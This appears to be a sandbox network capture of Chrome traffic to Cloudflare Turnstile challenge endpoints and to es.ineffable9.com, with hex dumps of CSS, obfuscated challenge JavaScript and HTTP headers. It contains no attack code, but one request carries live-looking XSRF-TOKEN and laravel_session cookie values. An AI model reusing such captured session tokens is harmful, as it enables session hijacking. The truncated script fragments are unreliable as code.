2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49766	104.18.95.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:30 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ed70eb9892b182d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:30 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:30 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 124707 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ed70ec44f75727b-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:30 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 45 73 73 58 42 30 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.EssXB0={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"htt
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 Data Ascii: %20are%20human","turnstile_feedback_description":"Send%20Feedback","turnstile_timeout":"Timed%20out","testing_only":"Testing%20only.","turnstile_footer_privacy":"Privacy","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfu
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 2c 67 33 2c 67 37 2c 67 38 2c 67 63 2c 67 64 2c 67 65 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 39 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 30 37 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 32 35 34 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 31 33 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 32 37 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 30 38 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 31 37 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 67 Data Ascii: ,g3,g7,g8,gc,gd,ge,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1189))/1+parseInt(gI(1207))/2+-parseInt(gI(254))/3(-parseInt(gI(1113))/4)+parseInt(gI(1627))/5(parseInt(gI(1408))/6)+parseInt(gI(517))/7+-parseInt(g
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 51 54 45 4d 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 66 4a 4d 55 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 70 4e 49 75 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 77 78 4a 6d 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 67 49 4a 6f 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 79 76 76 44 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 75 52 77 74 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 Data Ascii: on(h,i){return h!=i},'QTEMC':function(h,i){return i==h},'fJMUq':function(h,i){return i*h},'pNIuR':function(h,i){return i!==h},'wxJmO':function(h,i){return h<i},'gIJoY':function(h,i){return i&h},'yvvDk':function(h,i){return i==h},'uRwtu':function(h,i){retu
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 4c 3d 3d 6f 2d 31 3f 28 4c 3d 30 2c 4a 5b 67 58 28 31 34 39 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 52 3d 46 5b 67 58 28 33 34 34 29 5d 28 30 29 2c 43 3d 30 3b 38 3e 43 3b 4b 3d 4b 3c 3c 31 7c 52 26 31 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 67 58 28 31 34 39 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 52 3d 31 2c 43 3d 30 3b 43 3c 49 3b 4b 3d 4b 3c 3c 31 7c 52 2c 64 5b 67 58 28 36 35 38 29 5d 28 4c 2c 64 5b 67 58 28 38 31 39 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 67 58 28 31 34 39 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3d 30 2c 43 2b 2b 29 3b 66 6f 72 28 52 3d 46 5b 67 58 28 33 34 34 29 5d 28 30 29 2c Data Ascii: L==o-1?(L=0,J[gX(1497)](s(K)),K=0):L++,C++);for(R=F[gX(344)](0),C=0;8>C;K=K<<1\|R&1,o-1==L?(L=0,J[gX(1497)](s(K)),K=0):L++,R>>=1,C++);}else{for(R=1,C=0;C<I;K=K<<1\|R,d[gX(658)](L,d[gX(819)](o,1))?(L=0,J[gX(1497)](s(K)),K=0):L++,R=0,C++);for(R=F[gX(344)](0),
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 64 5b 67 58 28 35 36 36 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 67 58 28 31 34 39 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3e 3e 3d 31 2c 43 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 4b 3c 3c 3d 31 2c 4c 3d 3d 6f 2d 31 29 7b 4a 5b 67 58 28 31 34 39 37 29 5d 28 64 5b 67 58 28 38 36 39 29 5d 28 73 2c 4b 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 4c 2b 2b 3b 72 65 74 75 72 6e 20 4a 5b 67 58 28 31 36 34 38 29 5d 28 27 27 29 7d 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 59 29 7b 72 65 74 75 72 6e 20 67 59 3d 67 56 2c 64 5b 67 59 28 31 33 39 35 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 27 27 3d 3d 68 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 67 59 28 38 31 37 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 5a 29 7b Data Ascii: d[gX(566)](o,1))?(L=0,J[gX(1497)](s(K)),K=0):L++,R>>=1,C++);for(;;)if(K<<=1,L==o-1){J[gX(1497)](d[gX(869)](s,K));break}else L++;return J[gX(1648)]('')}},'j':function(h,gY){return gY=gV,d[gY(1395)](null,h)?'':''==h?null:f.i(h[gY(817)],32768,function(i,gZ){
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 28 49 3d 6a 2c 48 3d 64 5b 68 31 28 35 30 39 29 5d 28 6f 2c 4a 2b 2b 29 29 2c 4b 7c 3d 64 5b 68 31 28 31 31 33 38 29 5d 28 30 3c 4f 3f 31 3a 30 2c 47 29 2c 47 3c 3c 3d 31 29 3b 78 5b 43 2b 2b 5d 3d 64 5b 68 31 28 39 39 37 29 5d 28 65 2c 4b 29 2c 50 3d 43 2d 31 2c 42 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 68 31 28 32 30 31 29 5d 28 32 2c 31 36 29 2c 47 3d 31 3b 64 5b 68 31 28 31 36 34 35 29 5d 28 47 2c 4c 29 3b 4f 3d 49 26 48 2c 49 3e 3e 3d 31 2c 64 5b 68 31 28 34 31 31 29 5d 28 30 2c 49 29 26 26 28 49 3d 6a 2c 48 3d 6f 28 4a 2b 2b 29 29 2c 4b 7c 3d 64 5b 68 31 28 39 34 31 29 5d 28 30 3c 4f 3f 31 3a 30 2c 47 29 2c 47 3c 3c 3d 31 29 3b 78 5b 43 2b 2b 5d 3d 65 28 4b 29 2c 50 3d 64 5b 68 31 28 38 31 39 29 Data Ascii: (I=j,H=d[h1(509)](o,J++)),K\|=d[h1(1138)](0<O?1:0,G),G<<=1);x[C++]=d[h1(997)](e,K),P=C-1,B--;break;case 1:for(K=0,L=Math[h1(201)](2,16),G=1;d[h1(1645)](G,L);O=I&H,I>>=1,d[h1(411)](0,I)&&(I=j,H=o(J++)),K\|=d[h1(941)](0<O?1:0,G),G<<=1);x[C++]=e(K),P=d[h1(819)
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 4d 52 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 29 3b 74 72 79 7b 66 6f 72 28 6a 3d 68 34 28 38 30 33 29 5b 68 34 28 31 31 36 35 29 5d 28 27 7c 27 29 2c 6b 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6a 5b 6b 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 6d 5b 68 34 28 35 30 36 29 5d 3d 35 65 33 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 6c 3d 69 5b 68 34 28 31 34 37 31 29 5d 28 69 5b 68 34 28 31 34 37 31 29 5d 28 69 5b 68 34 28 31 34 37 31 29 5d 28 69 5b 68 34 28 31 31 37 35 29 5d 28 69 5b 68 34 28 31 34 37 31 29 5d 28 69 5b 68 34 28 31 34 37 31 29 5d 28 69 5b 68 34 28 31 30 38 38 29 5d 28 68 34 28 33 34 35 29 2c 6e 29 2c 69 5b 68 34 28 31 33 38 33 29 5d 29 2c 31 29 2c 68 34 28 31 34 Data Ascii: MRZ':function(G,H,I){return G(H,I)}});try{for(j=h4(803)[h4(1165)]('\|'),k=0;!![];){switch(j[k++]){case'0':m[h4(506)]=5e3;continue;case'1':l=i[h4(1471)](i[h4(1471)](i[h4(1471)](i[h4(1175)](i[h4(1471)](i[h4(1471)](i[h4(1088)](h4(345),n),i[h4(1383)]),1),h4(14
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3d 3d 3d 76 7d 2c 66 5b 68 35 28 31 34 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3e 76 7d 2c 67 3d 66 2c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 3f 28 68 3d 65 5b 68 35 28 31 35 32 29 5d 2c 65 5b 68 35 28 31 35 33 38 29 5d 26 26 67 5b 68 35 28 32 37 34 29 5d 28 74 79 70 65 6f 66 20 65 5b 68 35 28 31 35 33 38 29 5d 2c 68 35 28 38 39 39 29 29 29 26 26 28 6c 3d 65 5b 68 35 28 31 35 33 38 29 5d 5b 68 35 28 31 31 36 35 29 5d 28 27 5c 6e 27 29 2c 67 5b 68 35 28 31 34 33 29 5d 28 6c 5b 68 35 28 38 31 37 29 5d 2c 31 29 29 26 26 28 6d 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6e 3d 6c 5b 31 Data Ascii: 4)]=function(s,v){return s===v},f[h5(143)]=function(s,v){return s>v},g=f,e instanceof Error)?(h=e[h5(152)],e[h5(1538)]&&g[h5(274)](typeof e[h5(1538)],h5(899)))&&(l=e[h5(1538)][h5(1165)]('\n'),g[h5(143)](l[h5(817)],1))&&(m=/^\s*at\s+(.+):(\d+):(\d+)/,n=l[1
2024-12-05 21:16:30 UTC	1369	IN	Data Raw: 27 64 59 45 77 68 27 3a 68 55 28 32 36 34 29 2c 27 4a 59 73 44 68 27 3a 68 55 28 31 35 30 29 2c 27 6b 69 68 77 76 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 7d 2c 65 3d 63 5b 68 55 28 31 34 34 37 29 5d 2c 65 26 26 64 5b 68 55 28 31 31 36 34 29 5d 28 65 5b 68 55 28 31 35 35 37 29 5d 2c 64 5b 68 55 28 35 32 30 29 5d 29 26 26 65 5b 68 55 28 33 34 32 29 5d 3d 3d 3d 64 5b 68 55 28 31 35 34 29 5d 29 66 76 3d 64 5b 68 55 28 31 36 35 38 29 5d 28 73 65 74 49 6e 74 65 72 76 61 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 56 28 29 7d 2c 31 65 33 29 3b 65 6c 73 65 20 69 66 28 65 26 26 65 5b 68 55 28 31 35 35 37 29 5d 3d 3d 3d 68 55 28 38 39 37 29 26 26 64 5b 68 55 28 39 38 31 29 5d 28 65 5b 68 55 28 33 34 32 29 5d 2c 64 5b 68 55 Data Ascii: 'dYEwh':hU(264),'JYsDh':hU(150),'kihwv':function(f,g){return f(g)}},e=c[hU(1447)],e&&d[hU(1164)](e[hU(1557)],d[hU(520)])&&e[hU(342)]===d[hU(154)])fv=d[hU(1658)](setInterval,function(){fV()},1e3);else if(e&&e[hU(1557)]===hU(897)&&d[hU(981)](e[hU(342)],d[hU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49767	104.18.95.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:30 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:31 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:30 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ed70ec559788c47-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:31 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	104.21.43.181	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:31 UTC	1336	OUT	GET /favicon.ico HTTP/1.1 Host: es.ineffable9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBWVHU0UzY2dzM5SzB5Wm9nKzdhU2c9PSIsInZhbHVlIjoiaWFoaVFUbjRwV0FyZVRuSEhiMWJhWU9kNjg0Z2VkN0VVQ3E1M25YVXN5NTFXQUpVQ0tkNzV4NTFBQnB1M3F6ek5HUUY0YkVEKzNaTkxaUm41Z3dmWWxPdnVHVUczWVJjYjJ3VzFabTRnZXpRR08rNUFJRDd2dHdhNmhYZSt1V0YiLCJtYWMiOiI1MjAyNGU2MTliNGViZmRhZDhlMTA5ZDY3OWRmMDIyZmEyMTQ1MjViYjY4M2ViYzYwODJiYWMxNzI0MDQ1M2E2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZLK0hiOVNWclZqbDRHMGEyS3JxTFE9PSIsInZhbHVlIjoiYzcxSFpuVzdWQndMY3YzOHFha3hWdGI0dE54WW5rTll4S1ZlVFBnT1R5ZDdaNVJIUWFIRU1Lby9rVkpDdlZ4Smt1aWszM2pmVjlqd1dtaHJSTnBWQWVxSDVKQThIQmFOc2I1UWlrbElxcVQzM3I1aFV6dThjeUpnRVZkMW1sNEUiLCJtYWMiOiJlNTJjMmYxODZhZThjMmUxNGRiMmE0MzUzOTBmNjgyZGE1MDFkZmIxM2E4M2IzOGZlYzcwNTM5NTE4YzM1NGRmIiwidGFnIjoiIn0%3D
2024-12-05 21:16:31 UTC	1073	IN	HTTP/1.1 404 Not Found Date: Thu, 05 Dec 2024 21:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fqKH%2BfBdlK6H9SxzLOkq%2BqHj1aDG%2B9Nyqi0L9prj2hCH7ohoKwxWdHAAHBJLxxOV%2BBXV0yVNc%2BiDCgfhwt%2F%2FJ5yCtv9SkCeqa0A8utw4iw78skKJCdbdz4qPu6dTFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=493&min_rtt=493&rtt_var=186&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2285&delivery_rate=5803607&cwnd=251&unsent_bytes=0&cid=831f884d57ed7a3e&ts=171&x=0" CF-Cache-Status: HIT Age: 425 Server: cloudflare CF-RAY: 8ed70eca3e488c0b-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1862&min_rtt=1805&rtt_var=792&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1914&delivery_rate=1288045&cwnd=206&unsent_bytes=0&cid=c0218431bd3682ce&ts=9663&x=0"
2024-12-05 21:16:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49768	104.18.94.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:32 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:32 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:32 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ed70ecfd8b5c47a-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:32 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49769	104.18.94.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:32 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ed70eb9892b182d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:33 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:33 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 112277 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ed70ed27d730f3a-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:33 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 45 73 73 58 42 30 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: 